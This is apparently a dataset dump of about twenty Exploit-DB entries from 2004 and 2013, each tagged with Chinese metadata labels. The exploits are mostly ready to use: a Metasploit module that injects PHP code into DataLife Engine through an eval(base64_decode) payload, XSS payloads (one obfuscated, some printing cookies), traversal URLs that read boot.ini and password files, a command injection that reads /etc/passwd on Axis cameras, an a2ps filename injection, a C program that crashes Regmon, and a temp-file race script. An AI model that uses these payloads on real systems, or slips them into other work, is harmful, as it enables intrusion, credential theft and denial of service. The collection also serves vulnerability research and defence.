QLWD/code_shield huggingface dataset:
标题: DataLife Engine - 'preview.php' PHP Code Injection (Metasploit) EDB-ID: 24444 CVE: 2013-7387 2013-1412 类型: REMOTE 平台: PHP 发布日期: 2013-02-01 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'DataLife Engine preview.php PHP Code Injection',
   'Description'    => %q{
     This module exploits a PHP code injection vulnerability DataLife Engine 9.7.
    The vulnerability exists in preview.php, due to an insecure usage of preg_replace()
    with the e modifier, which allows to inject arbitrary php code, when the template
    in use contains a [catlist] or [not-catlist] tag.
   },
   'Author'         =>
    [
     'EgiX', # Vulnerability discovery
     'juan vazquez' # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'CVE', '2013-1412' ],
     [ 'BID', '57603' ],
     [ 'EDB', '24438' ],
     [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ],
     [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ]
    ],
   'Privileged'     => false,
   'Platform'       => ['php'],
   'Arch'           => ARCH_PHP,
   'Payload'        =>
    {
     'Keys'   => ['php']
    },
   'DisclosureDate' => 'Jan 28 2013',
   'Targets'        => [ ['DataLife Engine 9.7', { }], ],
   'DefaultTarget'  => 0
   ))

  register_options(
   [
    OptString.new('TARGETURI', [ true, "The base path to the web application", "/"])
   ], self.class)
 end

 def uri
  normalize_uri(target_uri.path, 'engine', 'preview.php')
 end

 def check
  fingerprint = rand_text_alpha(4+rand(4))
  res = send_request_cgi(
   {
    'uri'       =>  uri,
    'method'    => 'POST',
    'vars_post' =>
     {
      'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||printf(\"#{fingerprint}\");//"
     }
   })

  if res and res.code == 200 and res.body =~ /#{fingerprint}/
   return Exploit::CheckCode::Vulnerable
  else
   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  @peer = "#{rhost}:#{rport}"

  print_status("#{@peer} - Exploiting the preg_replace() to execute PHP code")
  res = send_request_cgi(
   {
    'uri'       =>  uri,
    'method'    => 'POST',
    'vars_post' =>
     {
      'catlist[0]' => "#{rand_text_alpha(4+rand(4))}')||eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));//"
     }
   })
 end
end URL: https://www.exploit-db.com/exploits/24444
标题: Comersus Cart 5.0 - HTTP Response Splitting EDB-ID: 24422 CVE: 2004-1656 类型: WEBAPPS 平台: ASP 发布日期: 2004-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/11083/info

Comersus Cart is reported prone to a HTTP response splitting vulnerability. A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted. This could aid in various attacks, which try to entice client users into a false sense of trust.

This issue was identified in Comersus Shopping Cart 5.0991, however, other versions may be affected as well. 

http://www.example.com/path_to_comersus/comersus_customerLoggedVerify.asp?

redirecturl=%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-L

ength:%2028%0d%0a%0d%0a{html}0wned%20by%20me{/html} URL: https://www.exploit-db.com/exploits/24422
标题: Xedus Web Server 1.0 - test.x 'Username' Cross-Site Scripting EDB-ID: 24417 CVE: 2004-1645 类型: REMOTE 平台: WINDOWS 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11071/info

It is reported that Xedus is susceptible to multiple vulnerabilities.

The first reported issue is a denial of service vulnerability. The affected application is unable to service multiple simultaneous connections, denying access to the hosted site for legitimate users.

The second reported issue is a cross-site scripting vulnerability in included sample scripts. This vulnerability is due to a failure of the application to properly sanitize user-supplied URI input before including it in the output of the scripts.

The third reported issue is a directory traversal vulnerability. The affected application will reportedly serve documents located outside of the configured web root. This may allow an attacker the ability to read arbitrary, potentially sensitive files on the hosting computer with the privileges of the web server. This may aid malicious users in further attacks.

These vulnerabilities are reported to exist in version 1.0 of Xedus.

http://www.example.com:4274/test.x?username=[XSS] URL: https://www.exploit-db.com/exploits/24417
标题: Web Animations Password Protect - Multiple Input Validation Vulnerabilities EDB-ID: 24420 CVE: 2004-1647 类型: WEBAPPS 平台: ASP 发布日期: 2004-08-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/11073/info

Password Protect is reported prone to a multiple cross-site scripting and SQL injection vulnerabilities. These issues occur due to insufficient sanitization of user-supplied input. Successful exploitation of these issues may result in arbitrary HTML and script code execution and/or compromise of the underlying database.

It is reported that these issues could be exploited to gain unauthorized administrative access to the application.

All versions of Password Protect are considered vulnerable to these issues. 

SQL injection

/adminSection/index_next.asp?admin = (SQLInjection) Pass = (SQLInjection)

/adminSection/ChangePassword.asp?LoginId=(SQLInjection) OPass=(SQLInjection) NPass=(SQLInjection) CPass=(SQLInjection)

Cross-site scripting:
/adminSection/index.asp?ShowMsg=(XSS)
/adminSection/ChangePassword.asp?ShowMsg=(XSS)
/adminSection/users_list.asp?ShowMsg=(XSS)
/adminSection/users_add.asp?ShowMsg=(XSS) URL: https://www.exploit-db.com/exploits/24420
标题: Ipswitch WS_FTP Server 5.0.x - CD Command Malformed File Path Remote Denial of Service EDB-ID: 24416 CVE: 2004-1643 类型: DOS 平台: WINDOWS 发布日期: 2004-08-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11065/info

WS_FTP Server is reported prone to a remote denial of service vulnerability. This issue presents itself when the application processes a malformed file path through the 'cd' command.

WS_FTP Server version 5.0.2 is reported prone to this issue, however, other versions may be affected as well. 

E:\>ftp localhost
Connected to ibm.
220-ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
220-Fri Aug 27 14:12:19 2004
220-29 days remaining on evaluation.
220 ibm X2 WS_FTP Server 5.0.2.EVAL (106633167)
User (ibm:(none)): ftp
331 Password required
Password:
230 user logged in
ftp> cd a../a
Connection closed by remote host. URL: https://www.exploit-db.com/exploits/24416
标题: Xedus Web Server 1.0 - testgetrequest.x 'Username' Cross-Site Scripting EDB-ID: 24418 CVE: 2004-1645 类型: REMOTE 平台: WINDOWS 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11071/info
 
It is reported that Xedus is susceptible to multiple vulnerabilities.
 
The first reported issue is a denial of service vulnerability. The affected application is unable to service multiple simultaneous connections, denying access to the hosted site for legitimate users.
 
The second reported issue is a cross-site scripting vulnerability in included sample scripts. This vulnerability is due to a failure of the application to properly sanitize user-supplied URI input before including it in the output of the scripts.
 
The third reported issue is a directory traversal vulnerability. The affected application will reportedly serve documents located outside of the configured web root. This may allow an attacker the ability to read arbitrary, potentially sensitive files on the hosting computer with the privileges of the web server. This may aid malicious users in further attacks.
 
These vulnerabilities are reported to exist in version 1.0 of Xedus.

http://www.example.com:4274/testgetrequest.x?param=[XSS] URL: https://www.exploit-db.com/exploits/24418
标题: phpWebSite 0.7.3/0.8.x/0.9.x Comment Module - 'CM_pid' Cross-Site Scripting EDB-ID: 24425 CVE: 2004-1655 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/11088/info

It is reported that phpWebSite is susceptible to multiple cross-site scripting, HTML injection and SQL injection vulnerabilities.

The cross-site scripting issue is present in a parameter of the comments module script. An attacker can exploit these issues by creating a malicious link to the vulnerable module containing HTML and script code and send this link to a vulnerable user. When the user follows the link, the attacker-supplied code renders in the user's browser.

An SQL injection issue exists in the application as well. This issue affects a parameter of the calendar module script. This issue may be exploited to cause sensitive information to be disclosed to a remote attacker.

Finally, a HTML Injection vulnerability is reported to affect the application. The problem is said to occur in the notes module due to a lack of sufficient sanitization performed on user supplied data.

Attackers may potentially exploit this issue to manipulate web content, take unauthorized site actions in the context of the victim, or to steal cookie-based authentication credentials.

These vulnerabilities were reported in phpWebsite 0.9.3-4, previous versions are also reported to be vulnerable.

/index.php?module=comments&CM_op=replyToComment&CM_pid=1[XSS] URL: https://www.exploit-db.com/exploits/24425
标题: Xedus Web Server 1.0 - Traversal Arbitrary File Access EDB-ID: 24419 CVE: 2004-1646 类型: REMOTE 平台: WINDOWS 发布日期: 2004-09-30 漏洞利用脚本: source: https://www.securityfocus.com/bid/11071/info
  
It is reported that Xedus is susceptible to multiple vulnerabilities.
  
The first reported issue is a denial of service vulnerability. The affected application is unable to service multiple simultaneous connections, denying access to the hosted site for legitimate users.
  
The second reported issue is a cross-site scripting vulnerability in included sample scripts. This vulnerability is due to a failure of the application to properly sanitize user-supplied URI input before including it in the output of the scripts.
  
The third reported issue is a directory traversal vulnerability. The affected application will reportedly serve documents located outside of the configured web root. This may allow an attacker the ability to read arbitrary, potentially sensitive files on the hosting computer with the privileges of the web server. This may aid malicious users in further attacks.
  
These vulnerabilities are reported to exist in version 1.0 of Xedus.

http://www.example.com:4274/../data/log.txt
http://www.example.com:4274/../../../../../boot.ini URL: https://www.exploit-db.com/exploits/24419
标题: Newtelligence DasBlog 1.x - Request Log HTML Injection EDB-ID: 24424 CVE: 2004-1657 类型: WEBAPPS 平台: PHP 发布日期: 2004-09-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/11086/info

DasBlog is reportedly susceptible to an HTML injection vulnerability in its request log. This vulnerability is due to a failure of the application to properly sanitize user-supplied input data before using it in the generation of dynamic web pages.

This may allow an attacker to inject malicious HTML and script code into the application. An administrator displaying the 'Activity and Events Viewer' will have the attacker-supplied script code executed within their browser in the context of the vulnerable site. This issue may be leverage to steal cookie based authentication credentials. Other attacks are also possible.

Although this issue reportedly affects versions 1.3 through 1.6 of the affected software. 

GET / HTTP/1.1
User-Agent: <script>alert('xss')</script>
Host: www.example.com
Accept: */* URL: https://www.exploit-db.com/exploits/24424
标题: Nagl XOOPS Dictionary Module 1.0 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24415 CVE: 2004-1640 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/11064/info

Reportedly the XOOPS Dictionary Module by Nagle is affected by multiple cross-site scripting vulnerabilities. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

As a result of this issue and attacker can execute arbitrary script code in the browser of an unsuspecting user by enticing the unsuspecting user to follow a malicious link.

An attacker can leverage this issue to steal cookie based authentication credentials as well as carry out other attacks. It should be noted that the impact of this issue depends on the context of the dynamic web site developed with the XOOPS software and the XOOPS dictionary module and so cannot accurately be outlined here. 

script>
function xss (){
var tag=String.fromCharCode(60)+String.fromCharCode(105)+
String.fromCharCode(109)+String.fromCharCode(103)+String.fromCharCode(32)+
String.fromCharCode(115)+String.fromCharCode(114)+String.fromCharCode(99)+
String.fromCharCode(32)+String.fromCharCode(61);
var web=String.fromCharCode(104)+String.fromCharCode(116)+
String.fromCharCode(116)+String.fromCharCode(112)+String.fromCharCode(58)+
String.fromCharCode(47)+String.fromCharCode(47)+String.fromCharCode(119)+
String.fromCharCode(119)+String.fromCharCode(119)+String.fromCharCode(46)+
String.fromCharCode(103)+String.fromCharCode(111)+String.fromCharCode(111)+
String.fromCharCode(103)+String.fromCharCode(108)+String.fromCharCode(101)+
String.fromCharCode(46)+String.fromCharCode(99)+String.fromCharCode(111)+
String.fromCharCode(109);
var path=String.fromCharCode(47)+String.fromCharCode(105)+
String.fromCharCode(109)+String.fromCharCode(97)+String.fromCharCode(103)+
String.fromCharCode(101)+String.fromCharCode(115)+String.fromCharCode(47)+
String.fromCharCode(103)+String.fromCharCode(111)+String.fromCharCode(111)+
String.fromCharCode(103)+String.fromCharCode(108)+String.fromCharCode(101)+
String.fromCharCode(95)+String.fromCharCode(56)+String.fromCharCode(48)+
String.fromCharCode(119)+String.fromCharCode(104)+String.fromCharCode(116)+
String.fromCharCode(46)+String.fromCharCode(103)+String.fromCharCode(105)+
String.fromCharCode(102)+String.fromCharCode(62);
document.write(tag+web+path);
} xss()
</script>

The following proof of concept has been provided for the 'letter.php' script issue:

ttp://attaker/modules/dictionary/letter.php?letter="><script>document.write(document.cookie)<script>( URL: https://www.exploit-db.com/exploits/24415
标题: Sysinternals Regmon 6.11 - Local Denial of Service EDB-ID: 24411 CVE: 2004-1748 类型: DOS 平台: WINDOWS 发布日期: 2004-08-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/11042/info

Regmon is reported prone to a local denial of service vulnerability. This issue presents itself because the application fails to handle exceptional conditions and references unvalidated pointers to kernel functions.

Successful exploitation may allow a local unauthorized attacker to cause a denial of service condition in the application. The attacker may then obfuscate changes to the registry from the administrator and carry out further attacks against a vulnerable computer.

Regmon 6.11 for NT/9x and prior versions are reportedly affected by this issue. 

/*
 *  ntregmon-dos.c (up to 6.11)
 *
 *  Copyright (c) 2002-2004 By Next Generation Security S.L.
 *  All rights reserved
 *  http://www.ngsec.com
 *
 *  Compiles with: cl ntregmon-dos.c
 *
 *  Madrid, August 2004
 */

#include <windows.h>

#define MY_NULL 0x01
typedef DWORD (* zwsetvaluekey_TYPE)(DWORD KeyHandle, DWORD ValueName, DWORD TitleIndex, DWORD Type, DWORD Data, DWORD DataSize);


int main(int argc, char *argv[]) {
HINSTANCE dll;
zwsetvaluekey_TYPE my_ZwSetValueKey;

  if ((dll=LoadLibrary("ntdll.dll"))!=NULL) {

     if ((my_ZwSetValueKey=(zwsetvaluekey_TYPE)GetProcAddress(dll,"ZwSetValueKey"))!=NULL) {

         my_ZwSetValueKey(MY_NULL,MY_NULL,MY_NULL,MY_NULL,MY_NULL,MY_NULL);

     }
  }

} URL: https://www.exploit-db.com/exploits/24411
标题: eGroupWare 1.0 Calendar Module - 'date' Cross-Site Scripting EDB-ID: 24403 CVE: 2004-1467 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/11013/info

It is reported that eGroupWare is susceptible to multiple cross-site scripting and HTML injection vulnerabilities.

The cross-site scripting issues present themselves in the various parameters of the 'addressbook' and 'calendar' modules. It is also reported that data input through the 'Search' fields of the 'addressbook', 'calendar', and 'search between projects' functionality are not sufficiently sanitized.

An attacker can exploit these issues for theft of cookie-based authentication credentials and other attacks.

Additionally HTML injection vulnerabilities are reported for the eGroupWare 'Messenger' module and 'Ticket' module.

Attackers may potentially exploit these issues to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

http://www.example.com/egroupware/index.php?menuaction=calendar.uicalendar.day&date=20040701"><script>alert(document.cookie)</script URL: https://www.exploit-db.com/exploits/24403
标题: GNU a2ps 4.13 - File Name Command Execution EDB-ID: 24406 CVE: 2004-1170 类型: LOCAL 平台: LINUX 发布日期: 2004-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11025/info

Reportedly GNU a2ps is affected by a filename command-execution vulnerability. This issue is due to the application's failure to properly sanitize filenames.

An attacker might leverage this issue to execute arbitrary shell commands with the privileges of an unsuspecting user running the vulnerable application.

Although this issue reportedly affects only a2ps version 4.13, other versions are likely affected as well. 

$ touch 'x`echo >&2 42`.c'
$ a2ps -o /dev/null *.c
42
[x`echo >&2 42`.c (C): 0 pages on 0 sheets]
[Total: 0 pages on 0 sheets] saved into the file `/dev/null' URL: https://www.exploit-db.com/exploits/24406
标题: SWsoft Plesk Reloaded 7.1 - 'Login_name' Cross-Site Scripting EDB-ID: 24405 CVE: 2004-2702 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11024/info

It is reported that Plesk Reloaded may be affected by a cross-site scripting vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied URI input.

This issue could permit a remote attacker to create a malicious URI link that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

This issue was identified in the demo version of Plesk Reloaded 7.1. It is likely that other versions are affected as well. 

http://www.example.com:8443/login_up.php3?login_name="><script>alert(document.cookie)</script><"&passwd=TheSur URL: https://www.exploit-db.com/exploits/24405
标题: Web-APP.Org WebAPP 0.8/0.9.x - Directory Traversal EDB-ID: 24408 CVE: 2004-1742 类型: WEBAPPS 平台: CGI 发布日期: 2004-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11028/info

WebAPP is reported prone to a directory-traversal vulnerability because the application fails to properly sanitize user-supplied input data.

An attacker can exploit this vulnerability to retrieve arbitrary, potentially sensitive files from the hosting computer with the privileges of the webserver. gthe attacker could trivially retrieve DES-encrypted password hashes for all users of the application. This may aid the attacker in further attacks. 

http://www.example.com/cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00 URL: https://www.exploit-db.com/exploits/24408
标题: Axis Network Camera 2.x And Video Server 1-3 - 'virtualinput.cgi' Arbitrary Command Execution EDB-ID: 24400 CVE: 2004-2425 类型: WEBAPPS 平台: CGI 发布日期: 2004-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/11011/info

1. A shell metacharacter command-execution vulnerability allows an anonymous user to download the contents of the '/etc/passwd' file on the device. Other commands are also likely to work, facilitating other attacks.

This issue is reported to affect:
- Axis 2100, 2110, 2120, 2420 network cameras with firmware versions 2.34 thru 2.40
- Axis 2130 network cameras
- Axis 2401 and 2401 video servers


http://www.example.com/axis-cgi/io/virtualinput.cgi?\x60cat</etc/passwd>/mnt/flash/etc/httpd/html/passwd\x60 URL: https://www.exploit-db.com/exploits/24400
标题: PHP Code Snippet Library 0.8 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 24410 CVE: 2004-1746 类型: WEBAPPS 平台: PHP 发布日期: 2004-08-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/11038/info

PHP Code Snippet Library is reported prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure of the application to properly sanitize user-supplied URI input.

These issues could permit a remote attacker to create a malicious URI link to the PHP Code Snippet Library site that includes hostile HTML and script code. If this link were to be followed, the hostile code may be rendered in the web browser of the victim user. This would occur in the security context of the affected web site and may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/[path]/index.php?cat_select=[XSS]
http://www.example.com/[path]/index.php?cat_select=[XSS]&show=[XSS] URL: https://www.exploit-db.com/exploits/24410
标题: Gadu-Gadu 6.0 - File Download Filename Obfuscation EDB-ID: 24404 CVE: 2004-2530 类型: REMOTE 平台: WINDOWS 发布日期: 2004-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/11017/info

Gadu-Gadu is a Polish instant messaging application for Microsoft Windows operating systems.

It is reported that the Gadu-Gadu instant messenger application contains a weakness allowing attackers to obfuscate file extensions.

This may allow an attacker to send potentially malicious executable files to users who think that they are downloading files that are believed to be harmless. 

file.ext%20(220%20kB)%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20.exe URL: https://www.exploit-db.com/exploits/24404
标题: IMWheel 1.0 - Predictable Temporary File Creation EDB-ID: 24398 CVE: 2004-2698 类型: LOCAL 平台: LINUX 发布日期: 2004-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/11008/info

IMWheel is reported prone to a predictable temporary file creation vulnerability. This issue is a race condition error and may allow a local attacker to carry out denial of service attacks against other users and possibly gain elevated privileges.

This vulnerability was identified in IMWheel 1.0.0pre11, however, other versions may be affected as well. 

#!/bin/bash

# you may have to adjust the number of characters in the print to
# get the timing correct for the injection. Fewer characters seems
# to prevent this from working. Optionally, replacing the echo
# with the symlink creation at the end of this script seems to work
# fairly regularly.
CHARCOUNT=4000

echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
while [[ $? != 0 ]]; do
echo `perl -e 'print "9" x $CHARCOUNT;'` > /tmp/imwheel.pid
done

# Wait for imwheel to write it's pid to the new file
sleep 1
# Wipe the contents of the PID file.
echo > /tmp/imwheel.pid

# Optionally, replace the new file with a link
# rm /tmp/imwheel.pid
# ln -s /etc/group /tmp/imwheel.pid

echo "Exploit Successful!!!" URL: https://www.exploit-db.com/exploits/24398